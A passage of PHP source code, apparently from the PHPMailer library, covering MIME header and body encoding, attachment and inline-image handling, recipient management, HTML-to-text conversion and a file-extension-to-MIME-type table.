3003 //Doesn't exist in PHP 5.4, but we don't need to check because
3004 //get_magic_quotes_runtime always returns false in 5.4+
3005 //so it will never get here
3006 ini_set('magic_quotes_runtime', false);
3007 }
3008 }
3009 $file_buffer = file_get_contents($path);
3010 $file_buffer = $this->encodeString($file_buffer, $encoding);
3011 if ($magic_quotes) {
3012 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
3013 set_magic_quotes_runtime($magic_quotes);
3014 } else {
3015 ini_set('magic_quotes_runtime', $magic_quotes);
3016 }
3017 }
3018 return $file_buffer;
3019 } catch (Exception $exc) {
3020 $this->setError($exc->getMessage());
3021 return '';
3022 }
3023 }
3024
3025 /**
3026 * Encode a string in requested format.
3027 * Returns an empty string on failure.
3028 * @param string $str The text to encode
3029 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
3030 * @access public
3031 * @return string
3032 */
3033 public function encodeString($str, $encoding = 'base64')
3034 {
3035 $encoded = '';
3036 switch (strtolower($encoding)) {
3037 case 'base64':
3038 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
3039 break;
3040 case '7bit':
3041 case '8bit':
3042 $encoded = $this->fixEOL($str);
3043 // Make sure it ends with a line break
3044 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
3045 $encoded .= $this->LE;
3046 }
3047 break;
3048 case 'binary':
3049 $encoded = $str;
3050 break;
3051 case 'quoted-printable':
3052 $encoded = $this->encodeQP($str);
3053 break;
3054 default:
3055 $this->setError($this->lang('encoding') . $encoding);
3056 break;
3057 }
3058 return $encoded;
3059 }
3060
3061 /**
3062 * Encode a header string optimally.
3063 * Picks shortest of Q, B, quoted-printable or none.
3064 * @access public
3065 * @param string $str
3066 * @param string $position
3067 * @return string
3068 */
3069 public function encodeHeader($str, $position = 'text')
3070 {
3071 $matchcount = 0;
3072 switch (strtolower($position)) {
3073 case 'phrase':
3074 if (!preg_match('/[\200-\377]/', $str)) {
3075 // Can't use addslashes as we don't know the value of magic_quotes_sybase
3076 $encoded = addcslashes($str, "\0..\37\177\\\"");
3077 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
3078 return ($encoded);
3079 } else {
3080 return ("\"$encoded\"");
3081 }
3082 }
3083 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
3084 break;
3085 /** @noinspection PhpMissingBreakStatementInspection */
3086 case 'comment':
3087 $matchcount = preg_match_all('/[()"]/', $str, $matches);
3088 // Intentional fall-through
3089 case 'text':
3090 default:
3091 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
3092 break;
3093 }
3094
3095 //There are no chars that need encoding
3096 if ($matchcount == 0) {
3097 return ($str);
3098 }
3099
3100 $maxlen = 75 - 7 - strlen($this->CharSet);
3101 // Try to select the encoding which should produce the shortest output
3102 if ($matchcount > strlen($str) / 3) {
3103 // More than a third of the content will need encoding, so B encoding will be most efficient
3104 $encoding = 'B';
3105 if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
3106 // Use a custom function which correctly encodes and wraps long
3107 // multibyte strings without breaking lines within a character
3108 $encoded = $this->base64EncodeWrapMB($str, "\n");
3109 } else {
3110 $encoded = base64_encode($str);
3111 $maxlen -= $maxlen % 4;
3112 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
3113 }
3114 } else {
3115 $encoding = 'Q';
3116 $encoded = $this->encodeQ($str, $position);
3117 $encoded = $this->wrapText($encoded, $maxlen, true);
3118 $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
3119 }
3120
3121 $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
3122 $encoded = trim(str_replace("\n", $this->LE, $encoded));
3123
3124 return $encoded;
3125 }
3126
3127 /**
3128 * Check if a string contains multi-byte characters.
3129 * @access public
3130 * @param string $str multi-byte text to wrap encode
3131 * @return boolean
3132 */
3133 public function hasMultiBytes($str)
3134 {
3135 if (function_exists('mb_strlen')) {
3136 return (strlen($str) > mb_strlen($str, $this->CharSet));
3137 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
3138 return false;
3139 }
3140 }
3141
3142 /**
3143 * Does a string contain any 8-bit chars (in any charset)?
3144 * @param string $text
3145 * @return boolean
3146 */
3147 public function has8bitChars($text)
3148 {
3149 return (boolean)preg_match('/[\x80-\xFF]/', $text);
3150 }
3151
3152 /**
3153 * Encode and wrap long multibyte strings for mail headers
3154 * without breaking lines within a character.
3155 * Adapted from a function by paravoid
3156 * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
3157 * @access public
3158 * @param string $str multi-byte text to wrap encode
3159 * @param string $linebreak string to use as linefeed/end-of-line
3160 * @return string
3161 */
3162 public function base64EncodeWrapMB($str, $linebreak = null)
3163 {
3164 $start = '=?' . $this->CharSet . '?B?';
3165 $end = '?=';
3166 $encoded = '';
3167 if ($linebreak === null) {
3168 $linebreak = $this->LE;
3169 }
3170
3171 $mb_length = mb_strlen($str, $this->CharSet);
3172 // Each line must have length <= 75, including $start and $end
3173 $length = 75 - strlen($start) - strlen($end);
3174 // Average multi-byte ratio
3175 $ratio = $mb_length / strlen($str);
3176 // Base64 has a 4:3 ratio
3177 $avgLength = floor($length * $ratio * .75);
3178
3179 for ($i = 0; $i < $mb_length; $i += $offset) {
3180 $lookBack = 0;
3181 do {
3182 $offset = $avgLength - $lookBack;
3183 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
3184 $chunk = base64_encode($chunk);
3185 $lookBack++;
3186 } while (strlen($chunk) > $length);
3187 $encoded .= $chunk . $linebreak;
3188 }
3189
3190 // Chomp the last linefeed
3191 $encoded = substr($encoded, 0, -strlen($linebreak));
3192 return $encoded;
3193 }
3194
3195 /**
3196 * Encode a string in quoted-printable format.
3197 * According to RFC2045 section 6.7.
3198 * @access public
3199 * @param string $string The text to encode
3200 * @param integer $line_max Number of chars allowed on a line before wrapping
3201 * @return string
3202 * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
3203 */
3204 public function encodeQP($string, $line_max = 76)
3205 {
3206 // Use native function if it's available (>= PHP5.3)
3207 if (function_exists('quoted_printable_encode')) {
3208 return quoted_printable_encode($string);
3209 }
3210 // Fall back to a pure PHP implementation
3211 $string = str_replace(
3212 array('%20', '%0D%0A.', '%0D%0A', '%'),
3213 array(' ', "\r\n=2E", "\r\n", '='),
3214 rawurlencode($string)
3215 );
3216 return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
3217 }
3218
3219 /**
3220 * Backward compatibility wrapper for an old QP encoding function that was removed.
3221 * @see PHPMailer::encodeQP()
3222 * @access public
3223 * @param string $string
3224 * @param integer $line_max
3225 * @param boolean $space_conv
3226 * @return string
3227 * @deprecated Use encodeQP instead.
3228 */
3229 public function encodeQPphp(
3230 $string,
3231 $line_max = 76,
3232 /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
3233 ) {
3234 return $this->encodeQP($string, $line_max);
3235 }
3236
3237 /**
3238 * Encode a string using Q encoding.
3239 * @link http://tools.ietf.org/html/rfc2047
3240 * @param string $str the text to encode
3241 * @param string $position Where the text is going to be used, see the RFC for what that means
3242 * @access public
3243 * @return string
3244 */
3245 public function encodeQ($str, $position = 'text')
3246 {
3247 // There should not be any EOL in the string
3248 $pattern = '';
3249 $encoded = str_replace(array("\r", "\n"), '', $str);
3250 switch (strtolower($position)) {
3251 case 'phrase':
3252 // RFC 2047 section 5.3
3253 $pattern = '^A-Za-z0-9!*+\/ -';
3254 break;
3255 /** @noinspection PhpMissingBreakStatementInspection */
3256 case 'comment':
3257 // RFC 2047 section 5.2
3258 $pattern = '\(\)"';
3259 // intentional fall-through
3260 // for this reason we build the $pattern without including delimiters and []
3261 case 'text':
3262 default:
3263 // RFC 2047 section 5.1
3264 // Replace every high ascii, control, =, ? and _ characters
3265 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
3266 break;
3267 }
3268 $matches = array();
3269 if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
3270 // If the string contains an '=', make sure it's the first thing we replace
3271 // so as to avoid double-encoding
3272 $eqkey = array_search('=', $matches[0]);
3273 if (false !== $eqkey) {
3274 unset($matches[0][$eqkey]);
3275 array_unshift($matches[0], '=');
3276 }
3277 foreach (array_unique($matches[0]) as $char) {
3278 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
3279 }
3280 }
3281 // Replace every spaces to _ (more readable than =20)
3282 return str_replace(' ', '_', $encoded);
3283 }
3284
3285 /**
3286 * Add a string or binary attachment (non-filesystem).
3287 * This method can be used to attach ascii or binary data,
3288 * such as a BLOB record from a database.
3289 * @param string $string String attachment data.
3290 * @param string $filename Name of the attachment.
3291 * @param string $encoding File encoding (see $Encoding).
3292 * @param string $type File extension (MIME) type.
3293 * @param string $disposition Disposition to use
3294 * @return void
3295 */
3296 public function addStringAttachment(
3297 $string,
3298 $filename,
3299 $encoding = 'base64',
3300 $type = '',
3301 $disposition = 'attachment'
3302 ) {
3303 // If a MIME type is not specified, try to work it out from the file name
3304 if ($type == '') {
3305 $type = self::filenameToType($filename);
3306 }
3307 // Append to $attachment array
3308 $this->attachment[] = array(
3309 0 => $string,
3310 1 => $filename,
3311 2 => basename($filename),
3312 3 => $encoding,
3313 4 => $type,
3314 5 => true, // isStringAttachment
3315 6 => $disposition,
3316 7 => 0
3317 );
3318 }
3319
3320 /**
3321 * Add an embedded (inline) attachment from a file.
3322 * This can include images, sounds, and just about any other document type.
3323 * These differ from 'regular' attachments in that they are intended to be
3324 * displayed inline with the message, not just attached for download.
3325 * This is used in HTML messages that embed the images
3326 * the HTML refers to using the $cid value.
3327 * Never use a user-supplied path to a file!
3328 * @param string $path Path to the attachment.
3329 * @param string $cid Content ID of the attachment; Use this to reference
3330 * the content when using an embedded image in HTML.
3331 * @param string $name Overrides the attachment name.
3332 * @param string $encoding File encoding (see $Encoding).
3333 * @param string $type File MIME type.
3334 * @param string $disposition Disposition to use
3335 * @return boolean True on successfully adding an attachment
3336 */
3337 public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
3338 {
3339 if (!self::isPermittedPath($path) or !@is_file($path)) {
3340 $this->setError($this->lang('file_access') . $path);
3341 return false;
3342 }
3343
3344 // If a MIME type is not specified, try to work it out from the file name
3345 if ($type == '') {
3346 $type = self::filenameToType($path);
3347 }
3348
3349 $filename = basename($path);
3350 if ($name == '') {
3351 $name = $filename;
3352 }
3353
3354 // Append to $attachment array
3355 $this->attachment[] = array(
3356 0 => $path,
3357 1 => $filename,
3358 2 => $name,
3359 3 => $encoding,
3360 4 => $type,
3361 5 => false, // isStringAttachment
3362 6 => $disposition,
3363 7 => $cid
3364 );
3365 return true;
3366 }
3367
3368 /**
3369 * Add an embedded stringified attachment.
3370 * This can include images, sounds, and just about any other document type.
3371 * Be sure to set the $type to an image type for images:
3372 * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
3373 * @param string $string The attachment binary data.
3374 * @param string $cid Content ID of the attachment; Use this to reference
3375 * the content when using an embedded image in HTML.
3376 * @param string $name
3377 * @param string $encoding File encoding (see $Encoding).
3378 * @param string $type MIME type.
3379 * @param string $disposition Disposition to use
3380 * @return boolean True on successfully adding an attachment
3381 */
3382 public function addStringEmbeddedImage(
3383 $string,
3384 $cid,
3385 $name = '',
3386 $encoding = 'base64',
3387 $type = '',
3388 $disposition = 'inline'
3389 ) {
3390 // If a MIME type is not specified, try to work it out from the name
3391 if ($type == '' and !empty($name)) {
3392 $type = self::filenameToType($name);
3393 }
3394
3395 // Append to $attachment array
3396 $this->attachment[] = array(
3397 0 => $string,
3398 1 => $name,
3399 2 => $name,
3400 3 => $encoding,
3401 4 => $type,
3402 5 => true, // isStringAttachment
3403 6 => $disposition,
3404 7 => $cid
3405 );
3406 return true;
3407 }
3408
3409 /**
3410 * Check if an inline attachment is present.
3411 * @access public
3412 * @return boolean
3413 */
3414 public function inlineImageExists()
3415 {
3416 foreach ($this->attachment as $attachment) {
3417 if ($attachment[6] == 'inline') {
3418 return true;
3419 }
3420 }
3421 return false;
3422 }
3423
3424 /**
3425 * Check if an attachment (non-inline) is present.
3426 * @return boolean
3427 */
3428 public function attachmentExists()
3429 {
3430 foreach ($this->attachment as $attachment) {
3431 if ($attachment[6] == 'attachment') {
3432 return true;
3433 }
3434 }
3435 return false;
3436 }
3437
3438 /**
3439 * Check if this message has an alternative body set.
3440 * @return boolean
3441 */
3442 public function alternativeExists()
3443 {
3444 return !empty($this->AltBody);
3445 }
3446
3447 /**
3448 * Clear queued addresses of given kind.
3449 * @access protected
3450 * @param string $kind 'to', 'cc', or 'bcc'
3451 * @return void
3452 */
3453 public function clearQueuedAddresses($kind)
3454 {
3455 $RecipientsQueue = $this->RecipientsQueue;
3456 foreach ($RecipientsQueue as $address => $params) {
3457 if ($params[0] == $kind) {
3458 unset($this->RecipientsQueue[$address]);
3459 }
3460 }
3461 }
3462
3463 /**
3464 * Clear all To recipients.
3465 * @return void
3466 */
3467 public function clearAddresses()
3468 {
3469 foreach ($this->to as $to) {
3470 unset($this->all_recipients[strtolower($to[0])]);
3471 }
3472 $this->to = array();
3473 $this->clearQueuedAddresses('to');
3474 }
3475
3476 /**
3477 * Clear all CC recipients.
3478 * @return void
3479 */
3480 public function clearCCs()
3481 {
3482 foreach ($this->cc as $cc) {
3483 unset($this->all_recipients[strtolower($cc[0])]);
3484 }
3485 $this->cc = array();
3486 $this->clearQueuedAddresses('cc');
3487 }
3488
3489 /**
3490 * Clear all BCC recipients.
3491 * @return void
3492 */
3493 public function clearBCCs()
3494 {
3495 foreach ($this->bcc as $bcc) {
3496 unset($this->all_recipients[strtolower($bcc[0])]);
3497 }
3498 $this->bcc = array();
3499 $this->clearQueuedAddresses('bcc');
3500 }
3501
3502 /**
3503 * Clear all ReplyTo recipients.
3504 * @return void
3505 */
3506 public function clearReplyTos()
3507 {
3508 $this->ReplyTo = array();
3509 $this->ReplyToQueue = array();
3510 }
3511
3512 /**
3513 * Clear all recipient types.
3514 * @return void
3515 */
3516 public function clearAllRecipients()
3517 {
3518 $this->to = array();
3519 $this->cc = array();
3520 $this->bcc = array();
3521 $this->all_recipients = array();
3522 $this->RecipientsQueue = array();
3523 }
3524
3525 /**
3526 * Clear all filesystem, string, and binary attachments.
3527 * @return void
3528 */
3529 public function clearAttachments()
3530 {
3531 $this->attachment = array();
3532 }
3533
3534 /**
3535 * Clear all custom headers.
3536 * @return void
3537 */
3538 public function clearCustomHeaders()
3539 {
3540 $this->CustomHeader = array();
3541 }
3542
3543 /**
3544 * Add an error message to the error container.
3545 * @access protected
3546 * @param string $msg
3547 * @return void
3548 */
3549 protected function setError($msg)
3550 {
3551 $this->error_count++;
3552 if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
3553 $lasterror = $this->smtp->getError();
3554 if (!empty($lasterror['error'])) {
3555 $msg .= $this->lang('smtp_error') . $lasterror['error'];
3556 if (!empty($lasterror['detail'])) {
3557 $msg .= ' Detail: '. $lasterror['detail'];
3558 }
3559 if (!empty($lasterror['smtp_code'])) {
3560 $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
3561 }
3562 if (!empty($lasterror['smtp_code_ex'])) {
3563 $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
3564 }
3565 }
3566 }
3567 $this->ErrorInfo = $msg;
3568 }
3569
3570 /**
3571 * Return an RFC 822 formatted date.
3572 * @access public
3573 * @return string
3574 * @static
3575 */
3576 public static function rfcDate()
3577 {
3578 // Set the time zone to whatever the default is to avoid 500 errors
3579 // Will default to UTC if it's not set properly in php.ini
3580 date_default_timezone_set(@date_default_timezone_get());
3581 return date('D, j M Y H:i:s O');
3582 }
3583
3584 /**
3585 * Get the server hostname.
3586 * Returns 'localhost.localdomain' if unknown.
3587 * @access protected
3588 * @return string
3589 */
3590 protected function serverHostname()
3591 {
3592 $result = 'localhost.localdomain';
3593 if (!empty($this->Hostname)) {
3594 $result = $this->Hostname;
3595 } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
3596 $result = $_SERVER['SERVER_NAME'];
3597 } elseif (function_exists('gethostname') && gethostname() !== false) {
3598 $result = gethostname();
3599 } elseif (php_uname('n') !== false) {
3600 $result = php_uname('n');
3601 }
3602 return $result;
3603 }
3604
3605 /**
3606 * Get an error message in the current language.
3607 * @access protected
3608 * @param string $key
3609 * @return string
3610 */
3611 protected function lang($key)
3612 {
3613 if (count($this->language) < 1) {
3614 $this->setLanguage('en'); // set the default language
3615 }
3616
3617 if (array_key_exists($key, $this->language)) {
3618 if ($key == 'smtp_connect_failed') {
3619 //Include a link to troubleshooting docs on SMTP connection failure
3620 //this is by far the biggest cause of support questions
3621 //but it's usually not PHPMailer's fault.
3622 return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
3623 }
3624 return $this->language[$key];
3625 } else {
3626 //Return the key as a fallback
3627 return $key;
3628 }
3629 }
3630
3631 /**
3632 * Check if an error occurred.
3633 * @access public
3634 * @return boolean True if an error did occur.
3635 */
3636 public function isError()
3637 {
3638 return ($this->error_count > 0);
3639 }
3640
3641 /**
3642 * Ensure consistent line endings in a string.
3643 * Changes every end of line from CRLF, CR or LF to $this->LE.
3644 * @access public
3645 * @param string $str String to fixEOL
3646 * @return string
3647 */
3648 public function fixEOL($str)
3649 {
3650 // Normalise to \n
3651 $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
3652 // Now convert LE as needed
3653 if ($this->LE !== "\n") {
3654 $nstr = str_replace("\n", $this->LE, $nstr);
3655 }
3656 return $nstr;
3657 }
3658
3659 /**
3660 * Add a custom header.
3661 * $name value can be overloaded to contain
3662 * both header name and value (name:value)
3663 * @access public
3664 * @param string $name Custom header name
3665 * @param string $value Header value
3666 * @return void
3667 */
3668 public function addCustomHeader($name, $value = null)
3669 {
3670 if ($value === null) {
3671 // Value passed in as name:value
3672 $this->CustomHeader[] = explode(':', $name, 2);
3673 } else {
3674 $this->CustomHeader[] = array($name, $value);
3675 }
3676 }
3677
3678 /**
3679 * Returns all custom headers.
3680 * @return array
3681 */
3682 public function getCustomHeaders()
3683 {
3684 return $this->CustomHeader;
3685 }
3686
3687 /**
3688 * Create a message body from an HTML string.
3689 * Automatically inlines images and creates a plain-text version by converting the HTML,
3690 * overwriting any existing values in Body and AltBody.
3691 * Do not source $message content from user input!
3692 * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
3693 * will look for an image file in $basedir/images/a.png and convert it to inline.
3694 * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
3695 * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
3696 * @access public
3697 * @param string $message HTML message string
3698 * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
3699 * @param boolean|callable $advanced Whether to use the internal HTML to text converter
3700 * or your own custom converter @see PHPMailer::html2text()
3701 * @return string $message The transformed message Body
3702 */
3703 public function msgHTML($message, $basedir = '', $advanced = false)
3704 {
3705 preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
3706 if (array_key_exists(2, $images)) {
3707 if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
3708 // Ensure $basedir has a trailing /
3709 $basedir .= '/';
3710 }
3711 foreach ($images[2] as $imgindex => $url) {
3712 // Convert data URIs into embedded images
3713 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
3714 $data = substr($url, strpos($url, ','));
3715 if ($match[2]) {
3716 $data = base64_decode($data);
3717 } else {
3718 $data = rawurldecode($data);
3719 }
3720 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
3721 if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
3722 $message = str_replace(
3723 $images[0][$imgindex],
3724 $images[1][$imgindex] . '="cid:' . $cid . '"',
3725 $message
3726 );
3727 }
3728 continue;
3729 }
3730 if (
3731 // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
3732 !empty($basedir)
3733 // Ignore URLs containing parent dir traversal (..)
3734 && (strpos($url, '..') === false)
3735 // Do not change urls that are already inline images
3736 && substr($url, 0, 4) !== 'cid:'
3737 // Do not change absolute URLs, including anonymous protocol
3738 && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
3739 ) {
3740 $filename = basename($url);
3741 $directory = dirname($url);
3742 if ($directory == '.') {
3743 $directory = '';
3744 }
3745 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
3746 if (strlen($directory) > 1 && substr($directory, -1) != '/') {
3747 $directory .= '/';
3748 }
3749 if ($this->addEmbeddedImage(
3750 $basedir . $directory . $filename,
3751 $cid,
3752 $filename,
3753 'base64',
3754 self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
3755 )
3756 ) {
3757 $message = preg_replace(
3758 '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
3759 $images[1][$imgindex] . '="cid:' . $cid . '"',
3760 $message
3761 );
3762 }
3763 }
3764 }
3765 }
3766 $this->isHTML(true);
3767 // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
3768 $this->Body = $this->normalizeBreaks($message);
3769 $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
3770 if (!$this->alternativeExists()) {
3771 $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
3772 self::CRLF . self::CRLF;
3773 }
3774 return $this->Body;
3775 }
3776
3777 /**
3778 * Convert an HTML string into plain text.
3779 * This is used by msgHTML().
3780 * Note - older versions of this function used a bundled advanced converter
3781 * which was been removed for license reasons in #232.
3782 * Example usage:
3783 * <code>
3784 * // Use default conversion
3785 * $plain = $mail->html2text($html);
3786 * // Use your own custom converter
3787 * $plain = $mail->html2text($html, function($html) {
3788 * $converter = new MyHtml2text($html);
3789 * return $converter->get_text();
3790 * });
3791 * </code>
3792 * @param string $html The HTML text to convert
3793 * @param boolean|callable $advanced Any boolean value to use the internal converter,
3794 * or provide your own callable for custom conversion.
3795 * @return string
3796 */
3797 public function html2text($html, $advanced = false)
3798 {
3799 if (is_callable($advanced)) {
3800 return call_user_func($advanced, $html);
3801 }
3802 return html_entity_decode(
3803 trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
3804 ENT_QUOTES,
3805 $this->CharSet
3806 );
3807 }
3808
3809 /**
3810 * Get the MIME type for a file extension.
3811 * @param string $ext File extension
3812 * @access public
3813 * @return string MIME type of file.
3814 * @static
3815 */
3816 public static function _mime_types($ext = '')
3817 {
3818 $mimes = array(
3819 'xl' => 'application/excel',
3820 'js' => 'application/javascript',
3821 'hqx' => 'application/mac-binhex40',
3822 'cpt' => 'application/mac-compactpro',
3823 'bin' => 'application/macbinary',
3824 'doc' => 'application/msword',
3825 'word' => 'application/msword',
3826 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
3827 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
3828 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
3829 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
3830 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
3831 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
3832 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
3833 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
3834 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
3835 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
3836 'class' => 'application/octet-stream',
3837 'dll' => 'application/octet-stream',
3838 'dms' => 'application/octet-stream',
3839 'exe' => 'application/octet-stream',
3840 'lha' => 'application/octet-stream',
3841 'lzh' => 'application/octet-stream',
3842 'psd' => 'application/octet-stream',
3843 'sea' => 'application/octet-stream',
3844 'so' => 'application/octet-stream',
3845 'oda' => 'application/oda',
3846 'pdf' => 'application/pdf',
3847 'ai' => 'application/postscript',
3848 'eps' => 'application/postscript',
3849 'ps' => 'application/postscript',
3850 'smi' => 'application/smil',
3851 'smil' => 'application/smil',
3852 'mif' => 'application/vnd.mif',
3853 'xls' => 'application/vnd.ms-excel',
3854 'ppt' => 'application/vnd.ms-powerpoint',
3855 'wbxml' => 'application/vnd.wap.wbxml',
3856 'wmlc' => 'application/vnd.wap.wmlc',
3857 'dcr' => 'application/x-director',
3858 'dir' => 'application/x-director',
3859 'dxr' => 'application/x-director',
3860 'dvi' => 'application/x-dvi',
3861 'gtar' => 'application/x-gtar',
3862 'php3' => 'application/x-httpd-php',
3863 'php4' => 'application/x-httpd-php',
3864 'php' => 'application/x-httpd-php',
3865 'phtml' => 'application/x-httpd-php',
3866 'phps' => 'application/x-httpd-php-source',
3867 'swf' => 'application/x-shockwave-flash',
3868 'sit' => 'application/x-stuffit',
3869 'tar' => 'application/x-tar',
3870 'tgz' => 'application/x-tar',
3871 'xht' => 'application/xhtml+xml',
3872 'xhtml' => 'application/xhtml+xml',
3873 'zip' => 'application/zip',
3874 'mid' => 'audio/midi',
3875 'midi' => 'audio/midi',
3876 'mp2' => 'audio/mpeg',
3877 'mp3' => 'audio/mpeg',
3878 'mpga' => 'audio/mpeg',
3879 'aif' => 'audio/x-aiff',
3880 'aifc' => 'audio/x-aiff',
3881 'aiff' => 'audio/x-aiff',
3882 'ram' => 'audio/x-pn-realaudio',
3883 'rm' => 'audio/x-pn-realaudio',
3884 'rpm' => 'audio/x-pn-realaudio-plugin',
3885 'ra' => 'audio/x-realaudio',
3886 'wav' => 'audio/x-wav',
3887 'bmp' => 'image/bmp',
3888 'gif' => 'image/gif',
3889 'jpeg' => 'image/jpeg',
3890 'jpe' => 'image/jpeg',
3891 'jpg' => 'image/jpeg',
3892 'png' => 'image/png',
3893 'tiff' => 'image/tiff',
3894 'tif' => 'image/tiff',
3895 'eml' => 'message/rfc822',
3896 'css' => 'text/css',
3897 'html' => 'text/html',
3898 'htm' => 'text/html',
3899 'shtml' => 'text/html',
3900 'log' => 'text/plain',
3901 'text' => 'text/plain',
3902 'txt' => 'text/plain',
3903 'rtx' => 'text/richtext',
3904 'rtf' => 'text/rtf',
3905 'vcf' => 'text/vcard',
3906 'vcard' => 'text/vcard',
3907 'xml' => 'text/xml',
3908 'xsl' => 'text/xml',
3909 'mpeg' => 'video/mpeg',
3910 'mpe' => 'video/mpeg',
3911 'mpg' => 'video/mpeg',
3912 'mov' => 'video/quicktime',
3913 'qt' => 'video/quicktime',
3914 'rv' => 'video/vnd.rn-realvideo',
3915 'avi' => 'video/x-msvideo',
3916 'movie' => 'video/x-sgi-movie'
3917 );
3918 if (array_key_exists(strtolower($ext), $mimes)) {
3919 return $mimes[strtolower($ext)];
3920 }
3921 return 'application/octet-stream';
3922 }
3923
3924 /**
3925 * Map a file name to a MIME type.
3926 * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
3927 * @param string $filename A file name or full path, does not need to exist as a file
3928 * @return string
3929 * @static
3930 */
3931 public static function filenameToType($filename)
3932 {
3933 // In case the path is a URL, strip any query string before getting extension
3934 $qpos = strpos($filename, '?');
3935 if (false !== $qpos) {
3936 $filename = substr($filename, 0, $qpos);
3937 }
3938 $pathinfo = self::mb_pathinfo($filename);
3939 return self::_mime_types($pathinfo['extension']);
3940 }
3941
3942 /**
3943 * Multi-byte-safe pathinfo replacement.
3944 * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
3945 * Works similarly to the one in PHP >= 5.2.0
3946 * @link http://www.php.net/manual/en/function.pathinfo.php#107461
3947 * @param string $path A filename or path, does not need to exist as a file
3948 * @param integer|string $options Either a PATHINFO_* constant,
3949 * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
3950 * @return string|array
3951 * @static
3952 */
3953 public static function mb_pathinfo($path, $options = null)
3954 {
3955 $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
3956 $pathinfo = array();
3957 if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
3958 if (array_key_exists(1, $pathinfo)) {
3959 $ret['dirname'] = $pathinfo[1];
3960 }
3961 if (array_key_exists(2, $pathinfo)) {
3962 $ret['basename'] = $pathinfo[2];
3963 }
3964 if (array_key_exists(5, $pathinfo)) {
3965 $ret['extension'] = $pathinfo[5];
3966 }
3967 if (array_key_exists(3, $pathinfo)) {
3968 $ret['filename'] = $pathinfo[3];
3969 }
3970 }
3971 switch ($options) {
3972 case PATHINFO_DIRNAME:
3973 case 'dirname':
3974 return $ret['dirname'];
3975 case PATHINFO_BASENAME:
3976 case 'basename':
3977 return $ret['basename'];
3978 case PATHINFO_EXTENSION:
3979 case 'extension':
3980 return $ret['extension'];
3981 case PATHINFO_FILENAME:
3982 case 'filename':
3983 return $ret['filename'];
3984 default:
3985 return $ret;
3986 }
3987 }
3988
3989 /**
3990 * Set or reset instance properties.
3991 * You should avoid this function - it's more verbose, less efficient, more error-prone and
3992 * harder to debug than setting properties directly.
3993 * Usage Example:
3994 * `$mail->set('SMTPSecure', 'tls');`
3995 * is the same as:
3996 * `$mail->SMTPSecure = 'tls';`
3997 * @access public
3998 * @param string $name The property name to set
3999 * @param mixed $value The value to set the property to
4000 * @return boolean
